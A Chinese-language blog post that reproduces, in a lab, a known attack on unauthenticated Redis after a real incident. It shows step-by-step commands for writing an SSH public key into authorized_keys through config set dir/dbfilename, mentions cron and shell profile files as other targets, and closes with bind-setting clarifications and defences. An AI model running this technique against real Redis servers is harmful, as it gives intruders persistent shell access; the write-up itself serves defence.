Redis攻击模拟,获取服务器登录权限
公司服务器使用Redis集群,最近发现数据异常丢失。多方排除,找出问题。发现是Redis被人攻击,Redis中有开发了远程连接断开,被恶意用户远程登录后,注入了一些文件。
通过百度等各种途径,了解到了Redis的攻击方式,今天特意模拟了下,通过Redis漏洞,获取服务器权限,远程ssh登录。
排查过程,可以查看另外一篇文章Redis集群数据异常丢失,发现挖矿程序
安装Redis
为模拟,先安装redis,而且是以漏洞方式启动
1 | yum install redis |
开放端口
开发服务器6379端口
vim /etc/sysconfig/iptables
添加
1 | -A INPUT -m state --state NEW -m tcp -p tcp --dport 6379 -j ACCEPT |
重启防火墙
1 | service iptables restart |
本地远程telnet
测试
1 | # *.*.*.* 为对应Ip地址 |
1 | Trying 108.61.91.144... |
输入
1 | echo hello |
这样攻击前的Redis配置完成。
准备SSH秘钥
首次生成`ssh秘钥和公钥
1 | ssh-keygen -t rsa -C "crackit@redis.io" -f redis |
-f 指定文件名为redis
返回
1 | Enter passphrase (empty for no passphrase): |
这时在刚才目录能够看到文件
1 | ls redis |
开始攻击,通过Redis注入秘钥
将公钥写入本地文件
1 | (echo -e "\n\n";cat redis.pub; echo -e "\n\n") >foo.txt |
主要是在公钥前后加上换行符
1 | # *.*.*.* 替换为对应Ip地址 |
关键部分,修改redis配置,覆盖系统秘钥
1 | # 登录redis |
此时服务器上会生成/var/log/redis/authorized_keys
文件
查看该文件,会发现秘钥已经写入
1 | REDIS0007ú redis-ver^F3.2.12ú |
config set dir /home/user/.ssh
可能提示 (error) ERR Changing directory: No such file or directory
我们可以先在服务器上创建一个测试用户
1 | useradd test |
此时,再执行上面操作,就会在/home/test/.ssh
文件夹下,生成authorized_keys
文件,其中就包含了秘钥,此时就可以远程登录了。
1 | ssh test@108.61.91.144 -i redis |
同样的方法,我们可以写入计划任务或者其他脚本文件等
如/etc/crontab
/var/spool/cron/crontabs
~/.profile
~/.bashrc
总结
通过测试,我们发现攻击的根本漏洞是,redis用root用户启动时。会有很高的权限。如果能够远程登录后,通过Redis系统命令,把文件写到相应路径,从而达到相应目的。
redis系统命令
1 | config set dir |
Redis bind 误区
注意Redis中bind理解的一个误区。
1 | bind 127.0.0.1 就是用来限制只有本机可以连接redis服务连接 |
注意:以上的理解都是错误的。
bind:是指定本机的IP地址,(准确的是:本机的网卡对应的IP地址,每一个网卡都有一个IP地址,可能有多个网卡)。
如果指定了bind,则说明只允许来自指定网卡的Redis请求。如果没有指定,就说明可以接受来自任意一个网卡的Redis请求。
如果bind一个错误的网卡地址,redis会无法启动。
如果你的bind设置为:****bind 127.0.0.1****,这是非常安全的,因为只有本台主机可以连接到redis。
127.0.0.1IP地址:是一个回环地址(Local Loopback),也就是只有本地才能访问到这个回环地址,而其他的计算机也只能访问他们自己的回环地址。
详细可以查看相关文章:Redis的bind的误区
防范措施
防止远程登录redis
- 禁止公网开放 Redis 端口
- 增加 Redis 密码验证
防止Redis修改系统文件
- 非 root 权限启动 Redis